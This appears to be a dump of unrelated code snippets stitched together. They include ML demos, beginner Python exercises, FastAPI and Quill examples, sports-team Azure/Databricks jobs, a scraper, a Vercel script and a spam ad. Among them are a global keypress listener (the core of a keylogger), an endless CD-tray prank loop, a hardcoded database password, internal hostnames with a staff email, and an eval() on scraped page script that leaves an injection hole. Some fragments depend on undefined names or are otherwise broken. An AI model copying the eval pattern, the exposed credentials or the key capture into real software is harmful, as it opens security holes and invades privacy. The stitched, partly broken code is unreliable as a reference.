print(df.info()) 
from sklearn.model_selection import train_test_split 
from sklearn.preprocessing import LabelEncoder 
# Encode the target variable if it's categorical 
label_encoder = LabelEncoder() 
df['Species'] = label_encoder.fit_transform(df['Species']) 
# Separate the features and target variable 
X = df.drop(columns=['Species']) 
y = df['Species'] 
# Split into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42) 
from sklearn.preprocessing import StandardScaler 
# Standardize the features 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
from sklearn.svm import SVC 
from sklearn.feature_selection import RFE 
# Initialize the classifier and RFE 
svc = SVC(kernel="linear", random_state=42) 
rfe = RFE(estimator=svc, n_features_to_select=3)  # Choose 3 features for demonstrate on 
# Fit RFE 
rfe.fit(X_train_scaled, y_train) 
# Print the ranking of features 
print("Feature ranking (1 indicates selected features):", rfe.ranking_) 
print("Selected features:", X.columns[rfe.support_]) 
from sklearn.metrics import accuracy_score, classification_report 
# Select the features indicated by RFE 
X_train_rfe = X_train_scaled[:, rfe.support_] 
X_test_rfe = X_test_scaled[:, rfe.support_] 
# Train the classifier on the selected features 
svc.fit(X_train_rfe, y_train) 
# Make predictions and evaluate performance 
y_pred = svc.predict(X_test_rfe) 
print("Accuracy:", accuracy_score(y_test, y_pred)) 
print("Classification Report:\n", classification_report(y_test, y_pred)) 
import pandas as pd 
# Load the dataset 
df = pd.read_csv('petrol_consumption.csv') 
# Display basic information about the dataset 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
from sklearn.preprocessing import StandardScaler 
# Separate the features and target variable if there's one 
X = df.drop(columns=['Petrol_Consumption'])  # Assuming 'Petrol_Consumption' is the target variable 
y = df['Petrol_Consumption'] 
# Standardize the features 
scaler = StandardScaler() 
X_scaled = scaler.fit_transform(X) 
from sklearn.decomposition import PCA 
# Apply PCA 
pca = PCA(n_components=2) 
X_pca = pca.fit_transform(X_scaled) 
# Check the explained variance 
print("Explained variance by each component:", pca.explained_variance_ratio_) 
print("Cumulative explained variance:", pca.explained_variance_ratio_.cumsum())
%env PROJ_DATA=/network/rit/lab/snowclus/miniforge3/envs/jan24_env/share/proj
import base64

sample_string = "GeeksForGeeks is the best"
sample_string_bytes = sample_string.encode("ascii")

base64_bytes = base64.b64encode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")

print(f"Encoded string: {base64_string}")

pattrens = [
    '123456',
    '6665522',
    '887799',
    '123456',
    '6665522',
    '1111222',
    '123456',
    '6665522',
    '887799',
    '123456',
    '111111'
]


def classify_pattrens(pattrens_list):
    labels = {k : [] for k in pattrens_list}
    for pattren in pattrens_list:
        labels[pattren].append(pattren)

    return labels

print(classify_pattrens(pattrens))
from yattag import Doc

import webbrowser

doc, tag, text = Doc().tagtext()

doc.asis('<!DOCTYPE html>')

with tag('html') as html:
    with tag('head') as head:
        with tag('title') as title:
            text('This is test web page')
    with tag('body') as body:
        with tag('h2') as h2:
            text('This is h2')

page = doc.getvalue()

f = open('page.html', 'w')
f.write(page)
f.close()

webbrowser.open('page.html')
n = int(input())
k = int(input())
print((n >> k) << k)
a = int(input())
k = int(input())
print(a | (1 << k))
n = int(input())
value = 1
b = False
while value < n:
    value *= 2
if value == n:
    b = True
if b:
    print("YES")
else:
    print("NO")
k = 6
n = 5
res = (1 << k) + (1 << n)
print(res)
integers = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}

evens = {0, 2, 4, 6, 8}
odds = {1, 3, 5, 7, 9}

#check for subsets
print(integers.issubset(integers)) #it is a subset of itself
print(evens.issubset(integers)) #True
print(odds.issubset(integers)) #True
>>> import jmespath
>>> path = jmespath.search('foo.bar', {'foo': {'bar': 'baz'}})
'baz'
import threading
import queue
import time

def read_kbd_input(inputQueue):
    print('Ready for keyboard input:')
    while (True):
        input_str = input()
        inputQueue.put(input_str)

def main():
    EXIT_COMMAND = "exit"
    inputQueue = queue.Queue()

    inputThread = threading.Thread(target=read_kbd_input, args=(inputQueue,), daemon=True)
    inputThread.start()

    while (True):
        if (inputQueue.qsize() > 0):
            input_str = inputQueue.get()
            print("input_str = {}".format(input_str))

            if (input_str == EXIT_COMMAND):
                print("Exiting serial terminal.")
                break
            
            # Insert your code here to do whatever you want with the input_str.

        # The rest of your program goes here.

        time.sleep(0.01) 
    print("End.")

if (__name__ == '__main__'): 
    main()
import serial
import time

# Set up the serial connection to the SIM800 module
ser = serial.Serial('/dev/serial0', baudrate=9600, timeout=1)

def send_at_command(command, delay=1):
    """Send an AT command to the SIM800 module."""
    ser.write((command + '\r').encode())
    time.sleep(delay)
    reply = ser.read(ser.inWaiting()).decode()
    return reply

# Enable GPS
send_at_command("AT+CGNSPWR=1")

# Check GPS status (optional)
gps_status = send_at_command("AT+CGNSPWR?")
print("GPS Status: ", gps_status)

# Get the GPS location
location_data = send_at_command("AT+CGNSINF", delay=2)
print("Location Data: ", location_data)

ser.close()
import dataclasses


@dataclasses.dataclass()
class Parent:
    def __post_init__(self):
        for (name, field_type) in self.__annotations__.items():
            if not isinstance(self.__dict__[name], field_type):
                current_type = type(self.__dict__[name])
                raise TypeError(f"The field `{name}` was assigned by `{current_type}` instead of `{field_type}`")

        print("Check is passed successfully")


@dataclasses.dataclass()
class MyClass(Parent):
    value: str


obj1 = MyClass(value="1")
obj2 = MyClass(value=1)
import bpy

class MI_PANEL(bpy.types.Panel):
    bl_label = "Mi Panel"
    bl_idname = "OBJECT_PT_mi_panel"
    bl_space_type = 'VIEW_3D'
    bl_region_type = 'UI'
    bl_category = 'Mi Addon'

    def draw(self, context):
        layout = self.layout

def register():
    bpy.utils.register_class(MI_PANEL)

def unregister():
    bpy.utils.unregister_class(MI_PANEL)

if __name__ == "__main__":
    register()
import time
import pygame
import pendulum

def alarm():
    pygame.mixer.init()
    pygame.mixer.music.load('alarm.mp3')
    pygame.mixer.music.play()

    while pygame.mixer.music.get_busy():
        time.sleep(1)


def set_alarm(target_time):
    while True:
        dt = pendulum.now()
        current_time = dt.strftime('%I:%M:%S %p')
        print(current_time, target_time)
        time.sleep(1)
        if current_time == target_time:
            break


target_time = '07:09:00 PM'
set_alarm(target_time)
alarm()
pip list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U
import pendulum

current_date = pendulum.now().date()
uploaded_date = pendulum.date(2018, 8, 1)

diff_days = current_date.diff(uploaded_date).in_days()

print(current_date.subtract(days = diff_days).diff_for_humans()) # 6 years ago
import pendulum

try:
    print(pendulum.parse('{:0>2}-{:0>2}-{:0>2}'.format(2024, 9, 21)))
except Exception as e:
    print(e)
from pynput.keyboard import Listener

def on_press(key):
    print(str(key))


with Listener(on_press = on_press) as l:
    l.join()
import random

number = random.randint(1, 6)

guess = 0

while guess != number:
    guess = int(input('Number : '))
    if guess == number:
        print('You won ;)')
import random

def guess_the_number():
    number_to_guess = random.randint(1, 100)
    attempts = 0
    while True:
        guess = int(input("Guess the number (1-100): "))
        attempts += 1
        if guess < number_to_guess:
            print("Too low!")
        elif guess > number_to_guess:
            print("Too high!")
        else:
            print(f"Congratulations! You guessed the number in {attempts} attempts.")
            break

guess_the_number()
#Sort a list without using sort()
def sort_list(nums):
    sorted_list = []
    while nums:
        minimum = min(nums)
        sorted_list.append(minimum)
        nums.remove(minimum)
    return sorted_list

numbers = [5, 3, 8, 2, 7]
sorted_numbers = sort_list(numbers)
print(f"Sorted list: {sorted_numbers}")
numbers = [5, 3, 8, 2, 7]

# Find max and min
max_number = max(numbers)
min_number = min(numbers)

print(f"Max: {max_number}, Min: {min_number}")
grades = {}

# Add student grades
grades["Emily"] = 88
grades["James"] = 76
grades["Olivia"] = 92

# Print all students and their grades
for student, grade in grades.items():
    print(f"{student}: {grade}")
# Create a dictionary - paired values
student_grades = {
    "Alice": 90,
    "Bob": 85,
    "Charlie": 92
}

# Access and modify
print(student_grades["Alice"])
student_grades["Bob"] = 88  # Update Bob's grade

# Add a new entry
student_grades["Dave"] = 95

print(student_grades)
favorite_movies = []

# Add movies
favorite_movies.append("The Godfather")
favorite_movies.append("Pulp Fiction")

# Remove a movie
favorite_movies.remove("Pulp Fiction")

# Print the list
print(f"My favorite movies: {favorite_movies}")
# Lists
movies = ["Inception", "The Matrix", "Interstellar"]
movies.append("The Shawshank Redemption")
movies.remove("The Matrix")

# Access elements
print(movies[0])  # First element

# Tuples (immutable)
dimensions = (1920, 1080)
print(dimensions[1])  # Access element
def multiply_numbers(x, y):
    return x * y

num1 = int(input("Enter first number: "))
num2 = int(input("Enter second number: "))

result = multiply_numbers(num1, num2)
print(f"The product of {num1} and {num2} is {result}.")
def multiply(a, b):
    return a * b

result = multiply(5, 4)
print(f"Multiplication result: {result}")
a = 5
b = 4
def multiply():
    return a * b
print(multiply())
# Using a while loop
sum_numbers = 0
num = 1

while num <= 100:
    sum_numbers += num
    num += 1

print(f"Sum of numbers 1 to 100: {sum_numbers}")
for i in range(1, 10):
    print(i)
for i in range(10):
    print(i)
age = int(input("Enter your age: "))

if age < 13:
    print("You are a child.")
elif 13 <= age < 20:
    print("You are a teenager.")
elif 20 <= age < 60:
    print("You are an adult.")
else:
    print("You are a senior.")
age = int(input("Enter your age: "))

if age < 18:

    print("You are a minor.")
elif 18 <= age < 65:
    print("You are an adult.")
else:
    print("You are a senior citizen.")
#Basic operators: + - * / // % **
a = 10
b = 3

addition = a + b
subtraction = a - b
multiplication = a * b
division = a / b
floor_division = a // b
modulus = a % b
exponentiation = a ** b

print(addition, subtraction, multiplication, division, floor_division, modulus, exponentiation)
name = input("Enter your name: ")
age = int(input("Enter your age: "))
print(f"Hello, {name}! You are {age} years old.")
# Create variables
username = "JohnDoe"
user_age = 25
balance = 150.75
is_member = False

# Manipulate and print variables
new_balance = balance + 100
print (f"Username: {username}, Age: {user_age}")
print (f"Hi {username} you are {user_age} and your balance is {new_balance}")
# Create variables
username = "JohnDoe"
user_age = 25
balance = 150.75
is_member = False

# Manipulate and print variables
new_balance = balance + 100

print("Username:", username)
print("Age:", user_age)
print("New Balance:", new_balance)
print("Is Member:", is_member)
# Create variables
userfirstname = "John"
userlastname = "Doe"
user_age = 25

print(username, user_age)
print(userfirstname + userlastname) #concatenate
print("Hello " + userfirstname + " " + userlastname) #concatenate with spaces
# Variables
name = "Alice"        # String
age = 30              # Integer
height = 5.7          # Float
is_student = True     # Boolean

# Print variable values
print(name)
print(age)
print(height)
print(is_student)
print("Hello, World!")
import clickhouse_connect

client = clickhouse_connect.get_client(host='localhost', username='default', password='atlife789')

def execute_query(client,trans_query):
    try:
        data = client.query(trans_query)
        dataset = pd.DataFrame(data.result_rows,columns=data.column_names)
        return dataset
    except Exception as e:
        print(f'Erron on executing the query as {e}.')
        return pd.DataFrame()
import ctypes
from ctypes import wintypes
 
# Definition der winmm.dll Funktionen
winmm = ctypes.WinDLL('winmm')
 
# Definieren der mciSendString Funktion
mciSendString = winmm.mciSendStringW
mciSendString.argtypes = [wintypes.LPCWSTR, wintypes.LPWSTR, wintypes.UINT, wintypes.HWND]
mciSendString.restype = wintypes.UINT
 
def main():
    while True:
        # Befehl zum Öffnen der CD
        mciSendString("open d: type cdaudio alias mycd", None, 0, None)
        # Befehl zum Öffnen des CD-Laufwerks
        mciSendString("set mycd door open", None, 0, None)
 
if __name__ == "__main__":
    main()
# main.py

from fastapi import FastAPI
from routes.tasks import tasks_route

app = FastAPI()

app.include_router(tasks_route)

-------------------------

# routes > tasks.py

from fastapi import APIRouter

tasks_route = APIRouter()

@tasks_route.get('/tasks')
def get_tasks():
  return {'tasks': []}
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field
from uuid import UUID, uuid4

class Task(BaseModel):
    id : UUID = Field(default_factory = uuid4)
    name : str
    description : str
    done: bool = False

tasks_db = []

def find_task(_id):
    for idx, task in enumerate(tasks_db):
        if task.id == _id:
            return idx, task

app = FastAPI()

@app.get('/')
def index():
    return {'msg': 'hello, world'}

# Add new task to database
@app.put('/add_task')
def add_task(task : Task):
    tasks_db.append(task)

    return {'msg': 'Task created', 'task': task}

# Get all tasks from database
@app.get('/tasks')
def get_tasks():
    return {'tasks': tasks_db}

# Get one task by id
@app.get('/task/{_id}')
def get_task(_id: UUID):
    task = find_task(_id)[1]
    if task:
        return {'task': task}
    
    
    return HTTPException(status_code = 404, detail = 'This task is not found :(')

# Update task by id
@app.put('/update_task/{_id}')
def update_task(_id : UUID, updatedtask : Task):
    task = find_task(_id)
    if task:
        task_idx = task[0]
        tasks_db[task_idx] = updatedtask
        return {'msg': 'Task updated', 'task': updatedtask}
    
    return HTTPException(status_code = 404, detail = 'This task is not found :(')

# Delete task
@app.delete('/delete_task/{_id}')
def delete_task(_id : UUID):
    task = find_task(_id)[1]
    tasks_db.remove(task)

    return {'msg': f'task {task.name} deleted ;)'}
import pendulum

items = [
    {'name': 'Milk', 'expire_date': '2024-09-15'},
    {'name': 'Bread', 'expire_date': '2024-09-18'},
    {'name': 'Yogurt', 'expire_date': '2024-09-25'},
]

def check_expire_date(items):
    for item in items:
        expire_date = pendulum.parse(item.get('expire_date'))
        cuurent_date = pendulum.now()

        if expire_date <= cuurent_date:
            print(f' {item.get('name')} expired')


check_expire_date(items=items)
<!-- QuillJS CDN -->
<link href="https://cdn.quilljs.com/1.3.6/quill.snow.css" rel="stylesheet">
<script src="https://cdn.quilljs.com/1.3.6/quill.min.js"></script>

<!-- Quill Image Resize Module CDN -->
<script src="https://cdn.jsdelivr.net/npm/quill-image-resize-module@3.0.0/image-resize.min.js"></script>

<!-- Quill Editor Container -->
<div id="quill-editor-container" style="height: 500px; border: 1px solid #ddd;"></div>

<script>
  // Add the ImageResize module to Quill
  Quill.register('modules/imageResize', ImageResize);

  // Initialize Quill with the image resize module
  var quill = new Quill('#quill-editor-container', {
    theme: 'snow',
    modules: {
      toolbar: {
        container: [
          [{ 'font': [] }, { 'header': [1, 2, 3, 4, 5, 6, false] }],
          ['bold', 'italic', 'underline', 'strike'],
          [{ 'list': 'ordered' }, { 'list': 'bullet' }],
          ['link', 'image', 'video'],
          [{ 'align': [] }],
          ['clean']
        ],
        handlers: {
          // Custom image handler to embed via URL
          image: function() {
            const imageUrl = prompt('Enter the image URL');
            if (imageUrl) {
              const range = this.quill.getSelection();
              this.quill.insertEmbed(range.index, 'image', imageUrl);
            }
          }
        }
      },
      imageResize: {}  // Enable image resizing module
    }
  });
</script>

<!-- Styles for Editor -->
<style>
  #quill-editor-container {
    height: 500px;
    width: 100%;  /* Set to 100% width */
    max-width: 1200px;  /* Optionally, limit the max width */
    padding: 10px;
    border: 1px solid #ddd;
  }
</style>
def lines_that_equal(line_to_match, fp):
    return [line for line in fp if line == line_to_match]

def lines_that_contain(string, fp):
    return [line for line in fp if string in line]

def lines_that_start_with(string, fp):
    return [line for line in fp if line.startswith(string)]

def lines_that_end_with(string, fp):
    return [line for line in fp if line.endswith(string)]
def uploadData(sheet, email, sheet_name):
    if sheet_name == "2.BaseData":
        data = []
        headers = [cell.value for cell in sheet[1]]

        for row in sheet.iter_rows(min_row=2):
            row_data = {
                headers[i]: cell.value
                for i, cell in enumerate(row)
                if cell.value is not None
            }
            if row_data:  # Only append if row_data is not empty
                row_data = trim_dict_spaces(row_data)
                data.append(row_data)

        print(data)

        # If socio_econ_vulnerability_collection expects each row to be uploaded individually

        for row in data:
            socio_econ_vulnerability_collection.add(row)

        return data
from math import*
  
x = [1,2,3]
import random
names = [
    "黄彦祯",
    "陈子睿",
    "杨芷涵",
    "李若璇",
    "麦家俊",
    "蔡培钧",
    "李泽丰",
    # "陈蓬宇",
    "郭芃泽"
    ]
    
random.shuffle(names)

for idx, name in enumerate(names):
    end_symb = " " if idx%2==0 else " | "
    print(f"{name}", end=end_symb)
    
from faker import Faker
from SmileyDB3 import SmileyDB3
from random import randint

import webbrowser

f = Faker()
db = SmileyDB3('mydb.db')

users = db.table('users')

for i in range(20):
    users.Insert(data={
        'name': f.name(),
        'email': f.email(),
        'age': randint(20, 40)
    })

users.convert().to_html('out.html')

webbrowser.open('out.html')
import sqlite3

db = sqlite3.connect('mydb.db')
cur = db.cursor()

# create users table
cur.execute('CREATE TABLE IF NOT EXISTS users (name str, image blob)')

# insert new user in users table
cur.execute(
    'INSERT INTO users (name, image) VALUES (?, ?)', 
    ('USER-123', open('smile.png', 'rb').read())
)

db.commit()
import customtkinter as ctk

root = ctk.CTk()
root.geometry('200x200')

led_on = '#4cff66'
led_off = '#1e3c22'

led = ctk.CTkLabel(root, text='\t', width=50, bg_color=led_off)
led.place(x = 80, y = 80)

def off_on():
    if led._bg_color == led_off:
        led.configure(bg_color = led_on)
        led.update()
        return
    
    if led._bg_color == led_on:
        led.configure(bg_color = led_off)
        led.update()
        return


bt = ctk.CTkButton(root, text = 'OFF/ON', command=off_on, width=70)
bt.place(x = 80, y = 150)

root.mainloop()
from faker import Faker
from random import randint

f = Faker()

data = {'name': 'Barry Long', 'email': 'tammy28@example.com', 'age': 20}

# Generate data from this 
def Generate_like_this(data : dict, f : Faker):
    result = {}

    funcs = {
        'name': f.name,
        'email': f.email
    }

    for k in data:

        if k in funcs:
            result[k] = funcs[k]()

        if isinstance(data[k], int):
            result[k] = randint(1, data[k])
        
    
    return result

print(Generate_like_this(data = data, f = Faker()))
Embark on a lucrative journey with our turnkey vacation rental business – your golden ticket to making money while providing unforgettable travel experiences! Just like Airbnb, We at Appticz develop a vacation rental business that empowers you to transform your property into a revenue-generating oasis. Imagine waking up to a stream of bookings and delighted guests, all while enjoying the financial rewards of the booming vacation rental market. Get a free airbnb clone business quotation.
https://appticz.com/airbnb-clone
print("She said: \"Hello\" and then left.")
import requests
import json
import sys
sys.path.append('/Workspace/Users/khoa.nguyen@houstontexans.com/production_jobs/Data_Ops_Tools')
import EnvVars
from EnvVars import env_vars_dict


apigeeKey = env_vars_dict['tm']['apiKey']
eventName = '23COPAST'
startDateTime = '2023-07-26 12:00'

url = "https://app.ticketmaster.com/sth-buy/ticketing_services.aspx?dsn=texans"

payload = {
  "header":{
    "src_sys_type":2,"ver":1
    ,"src_sys_name":"test"
    ,"archtics_version":"V999"
    },
  "command1":{
    "cmd":"get_attendance_incremental"
    ,"start_datetime":startDateTime
    ,"uid":"texans64"
    ,"dsn":"texans"
    ,"event_name":eventName
    }
  }

headers = {
  'apikey': apigeeKey, 
  'Content-Type': 'application/json',
  'Connection': 'keep-alive'
}

response = requests.post( url, headers=headers , json=payload)
data = response.json()
data
from datetime import datetime as dt , timedelta
print(len(os.listdir(processed_tm_sftp_files_root_dir)))

for f_dir in os.listdir(processed_tm_sftp_files_root_dir):
  folder_path = f"{processed_tm_sftp_files_root_dir}\{f_dir}"
  folder_date = f_dir.replace('texans_texans_texans_','').split('_')[0][:8]

  folder_date = dt.strptime(folder_date,'%Y%m%d')

  if folder_date < dt.today() - timedelta(days=120):

    for f in os.listdir(folder_path):
      file_path = f"{folder_path}\{f}"
      if os.path.isfile(file_path):
        os.remove(file_path)
        print(f"Deleted file: {file_path}")
import sys 
sys.path.append ('/Workspace/Users/khoa.nguyen@houstontexans.com/production_jobs/Data_Ops_Tools/') 

import EnvVars
from EnvVars import *

dev_credentials = env_vars_dict['azure_storage_dev']

from azure.storage.blob import BlobServiceClient , BlobClient

# Replace the following variables with your Azure Storage account and container information
storage_account_name = dev_credentials['accountName']
storage_account_key = dev_credentials['secretValue']
container_name = "raw"
directory_name = "PSL/"  # Leave empty to list files from the root of the container

mount_name = 'PSL'
directory_path = 'PSL'


dbutils.fs.mount(
  source=f"wasbs://{container_name}@{storage_account_name}.blob.core.windows.net/{directory_path}",
  mount_point=f"/mnt/azure_storage/{mount_name}",
  extra_configs={
    f"fs.azure.account.key.{storage_account_name}.blob.core.windows.net": storage_account_key
  }
)

# List all mount points
mounts = dbutils.fs.mounts()
## Date Formatting 

#### Sql
```sql
date_format(dt_obj, 'yyyy-MM-dd hh:mm:ss a') 
```

#### Python
```python
dt_obj.strftime("%-m-%d-%Y %-I:%M%p")
```
---
qry = """
SELECT COUNT(*) CNT , 'eloqua_contact' AS tbl
FROM reporting.eloqua_contact
UNION 
SELECT COUNT(*) CNT , 'eloqua_form' AS tbl
FROM reporting.eloqua_form
UNION 
SELECT COUNT(*) CNT , 'eloqua_form_submission' AS tbl
FROM reporting.eloqua_form_submission
UNION
SELECT COUNT(*) CNT , 'eloqua_system_preference_center' AS tbl
FROM reporting.eloqua_system_preference_center
UNION
SELECT COUNT(*) CNT , 'eloqua_system_sms_preference_center' AS tbl
FROM reporting.eloqua_system_sms_preference_center
UNION 
SELECT COUNT(*) CNT , 'eloqua_system_preference_center_toro_s_kids_club' AS tbl
FROM reporting.eloqua_system_preference_center_toro_s_kids_club
UNION
SELECT COUNT(*) CNT , 'eloqua_system_preference_center_historic' AS tbl
FROM reporting.eloqua_system_preference_center_historic
UNION
SELECT COUNT(*) CNT , 'eloqua_system_bi_prospect_scores' AS tbl
FROM reporting.eloqua_system_bi_prospect_scores

"""

# Get Pre Run Cnts
pre_run_df = spark.read.format("sqlserver")\
      .option("host", "sqls-houstontexans-db-01.database.windows.net")\
      .option("user", prodProperties['user']).option("password", prodProperties['password'])\
      .option("database","sqls-houstontexans")\
      .option("query", qry)\
      .option("fetchSize", 35000)\
      .load()
 
# write data from dbrix to azure
prod_dbrix_to_azure('eloqua.contact','reporting.eloqua_contact')
prod_dbrix_to_azure('eloqua.form','reporting.eloqua_form')
prod_dbrix_to_azure('eloqua.form_submission','reporting.eloqua_form_submission')
prod_dbrix_to_azure('eloqua.system_preference_center','reporting.eloqua_system_preference_center')
prod_dbrix_to_azure('eloqua.system_sms_preference_center','reporting.eloqua_system_sms_preference_center')
prod_dbrix_to_azure('eloqua.system_preference_center_toro_s_kids_club','reporting.eloqua_system_preference_center_toro_s_kids_club')
prod_dbrix_to_azure('eloqua.system_preference_center_historic','reporting.eloqua_system_preference_center_historic')
prod_dbrix_to_azure('eloqua.system_bi_prospect_scores','reporting.eloqua_system_bi_prospect_scores')

# Get Post Run Cnts
post_run_df = spark.read.format("sqlserver")\
      .option("host", "sqls-houstontexans-db-01.database.windows.net")\
      .option("user", prodProperties['user']).option("password", prodProperties['password'])\
      .option("database","sqls-houstontexans")\
      .option("query", qry)\
      .option("fetchSize", 35000)\
      .load()
      
# Compare Pre and Post Run Df 
pre_post_cnts_df = pre_run_df.join(post_run_df, on='tbl', how='inner').select(pre_run_df.tbl ,  pre_run_df.CNT.alias('pre_run_cnt'), post_run_df.CNT.alias('post_run_cnt'))
pre_post_cnts_df.display()
import sys 
sys.path.append ('/Workspace/Users/khoa.nguyen@houstontexans.com/production_jobs/Data_Ops_Tools/')
from DataOpsMainFunctions import prod_azure_to_dbrix, prod_dbrix_to_azure , prodProperties

query_azure_db_df = spark.read.format("sqlserver")\
      .option("host", "sqls-houstontexans-db-01.database.windows.net")\
      .option("user", prodProperties['user']).option("password", prodProperties['password'])\
      .option("database","sqls-houstontexans")\
      .option("query", "SELECT * FROM reporting.db_data_catalogue WHERE table_schema='survey_monkey'")\
      .option("fetchSize", 35000)\
      .load()
query_azure_db_df.display()
def find_type_of_research(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'eyebrow'}):
        return soup.find_all('lbj-title', attrs = {'variant':'eyebrow'})[0].text.strip()
    else:
        return np.nan

def find_title(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'heading-1'}):
        return soup.find_all('lbj-title', attrs = {'variant':'heading-1'})[0].text.strip()
    if soup.find_all('h1', attrs = {'class':'title heading-1'}):
        return soup.find_all('h1', attrs = {'class':'title heading-1'})[0].text.strip()
    return np.nan

def find_subtitle(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'subtitle'}):
        return soup.find_all('lbj-title', attrs = {'variant':'subtitle'})[0].text.strip()

def find_authors(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'paragraph'}):
        author_code = soup.find_all('lbj-title', attrs = {'variant':'paragraph'})[0]
        # find every lbj-link
        authors = author_code.find_all('lbj-link')
        authors = [author.text.strip() for author in authors]
        authors_str =  ', '.join(authors)
        return authors_str
    return np.nan

def find_date(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'date'}):
        date_code = soup.find_all('lbj-title', attrs = {'variant':'date'})[0]
        date = date_code.find_all('time')[0].text.strip()
        return date
    return np.nan

def find_report_link(soup):
    if soup.find_all('lbj-button'):
        return soup.find_all('lbj-button')[0].get('href')
    return np.nan

def find_tags(soup):
    if soup.find_all('lbj-link', attrs = {'variant':'tag'}):
        tags = soup.find_all('lbj-link', attrs = {'variant':'tag'})
        print(tags)

def find_data_json(soup):
    # get the javascript code
    script = soup.find_all('script', attrs = {'type':'text/javascript'})

    # found the json after dataLayer_tags
    pattern = 'dataLayer_tags = (.+);'
    for s in script:
        if re.search(pattern, str(s)):
            info_json = re.search(pattern, str(s)).group(1)
            # transform it into a dictionary
            info = eval(info_json)['urban_page']
            publish_date = info.get('publish_date')
            title = info.get('urban_title')
            research_area = info.get('research_area')
            authors = info.get('authors')
            publication_type = info.get('publication_type')
            eyebrow = info.get('eyebrow')
            tags = info.get('tags')
            
            return publish_date, title, research_area, authors, publication_type, eyebrow, tags, info_json
    return np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan

df_links = pd.read_csv('urban_links.csv')
df_links_details = df_links.copy()

for i in range(len(df_links)):
    URL = "https://www.urban.org/" + df_links['link'][i]
    print(URL)
    r = requests.get(URL)
    soup = BeautifulSoup(r.content, 'html5lib')
    report_link = find_report_link(soup)
    publish_date, title, research_area, authors, publication_type, eyebrow, tags, info_json = find_data_json(soup)
    
    df_links_details.loc[i, 'eyebrow'] = eyebrow
    df_links_details.loc[i, 'title'] = title
    df_links_details.loc[i, 'authors'] = authors
    df_links_details.loc[i, 'date'] = publish_date
    df_links_details.loc[i, 'research_area'] = research_area
    df_links_details.loc[i, 'publication_type'] = publication_type
    df_links_details.loc[i, 'tags'] = tags
    df_links_details.loc[i, 'info_json'] = info_json
    df_links_details.loc[i, 'report_link'] = report_link
    
    print(publish_date, title, research_area, authors, publication_type, eyebrow, tags, report_link)
    
    if i % 200 == 0:
        df_links_details.to_csv('urban_links_details.csv', index = False)
df_links = []

PAGE_NUM = 281

for page in range(1, PAGE_NUM):
    URL = f"https://www.urban.org/research?page={page}"
    r = requests.get(URL) 
    soup = BeautifulSoup(r.content, 'html5lib')
    articles = soup.find_all('li', attrs = {'class':'mb-16 md:col-span-2 mb-8 sm:mb-0'})
    for article in articles:
        pattern = 'href="(.+?)"'
        if re.search(pattern, str(article)):
            df_links.append([page, re.search(pattern, str(article)).group(1)])
    print(f'Page {page} done')

df_links = pd.DataFrame(df_links, columns = ['page', 'link'])
df_links.to_csv('urban_links.csv', index = False)
from pydantic import BaseModel, Field
from uuid import UUID, uuid4

class item(BaseModel):
    name : str
    price : float
    item_id : UUID = Field(default_factory = uuid4)


items = []

for i in range(3):
    items.append(item(name = 'test', price = 20))


print(items)
import os
import requests
import json
from dotenv import load_dotenv

# Load env from .env file.
load_dotenv()

'''
Step 1: Get all env variables.
'''

url_to_get_all_envs = (
    f"https://api.vercel.com/v9/projects/"
    f"{os.getenv('PROJECT_ID')}/env"
)
payload = {
    'decrypt': 'true',
    'slug': os.getenv('SLUG'),
    'source': 'vercel-cli:pull',
    'teamId': os.getenv('TEAM_ID')
}
headers = {
    'Authorization': f"Bearer {os.getenv('VERCEL_TOKEN')}",
    'Content-Type': 'application/json'
}

all_env_vars = requests.get(
    url_to_get_all_envs,
    params=payload,
    headers=headers
)

# Print the response in a safe environment if required.
all_env_vars = all_env_vars.json()['envs']


# Delete items which are not required for update endpoint from payload.
del payload['decrypt']
del payload['source']


for env in all_env_vars:
    # Update only if production is one of the targets of the variable.
    if 'production' in env['target'] and env['type'] != 'sensitive':

        '''
        Check if target array has development in it.
        Because development target cant have sensitive variables.
        '''

        targets = env['target'][:]
        if 'development' in targets:
            targets.remove('development')

        '''
        Step 2: Get decrypted value of each env variable.
        '''

        url_to_get_or_update_env = (
            f"https://api.vercel.com/v9/projects/"
            f"{os.getenv('PROJECT_ID')}/env/{env['id']}"
        )
        decrypted_env_response = requests.get(
            url_to_get_or_update_env,
            params=payload,
            headers=headers
        )
        decrypted_env = decrypted_env_response.json()
        # Print the response in a safe environment if required.

        '''
        Step 3: Update all variables to be sensitive if it has production
        target and also remove development target if exists.
        '''

        data = {
            'key': env['key'],
            'target': targets,
            'type': 'sensitive',
            'value': decrypted_env['value']
        }
        data = json.dumps(data)
        response = requests.patch(
            url_to_get_or_update_env,
            params=payload,
            headers=headers,
            data=data
        )
        # Print the response in a safe environment if required.

        '''
        Step 4: Recreate the variable with development target
        if it existed before updation in previous step.
        '''

        if 'development' in env['target']:
            data = {
                'key': env['key'],
                'target': ['development'],
                'type': 'encrypted',
                'value': decrypted_env['value']
            }

            data = json.dumps(data)
            url_to_create_env = (
                f"https://api.vercel.com/v9/projects/"
                f"{os.getenv('PROJECT_ID')}/env"
            )
            response = requests.post(
                url_to_create_env,
                params=payload,
                headers=headers,
                data=data
            )

            # Print the response in a safe environment if required.
for env in all_env_vars:
    # Update only if production is one of the targets of the variable.
    if 'production' in env['target'] and env['type'] != 'sensitive':

        '''
        Check if target array has development in it.
        Because development target cant have sensitive variables.
        '''

        targets = env['target'][:]
        if 'development' in targets:
            targets.remove('development')

        '''
        Step 2: Get decrypted value of each env variable.
        '''

        url_to_get_or_update_env = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env/{env['id']}"
        decrypted_env_response = requests.get(
            url_to_get_or_update_env,
            params=payload,
            headers=headers
        )
        decrypted_env = decrypted_env_response.json()
        # Print the response in a safe environment if required.

        '''
        Step 3: Update all variables to be sensitive if it has production
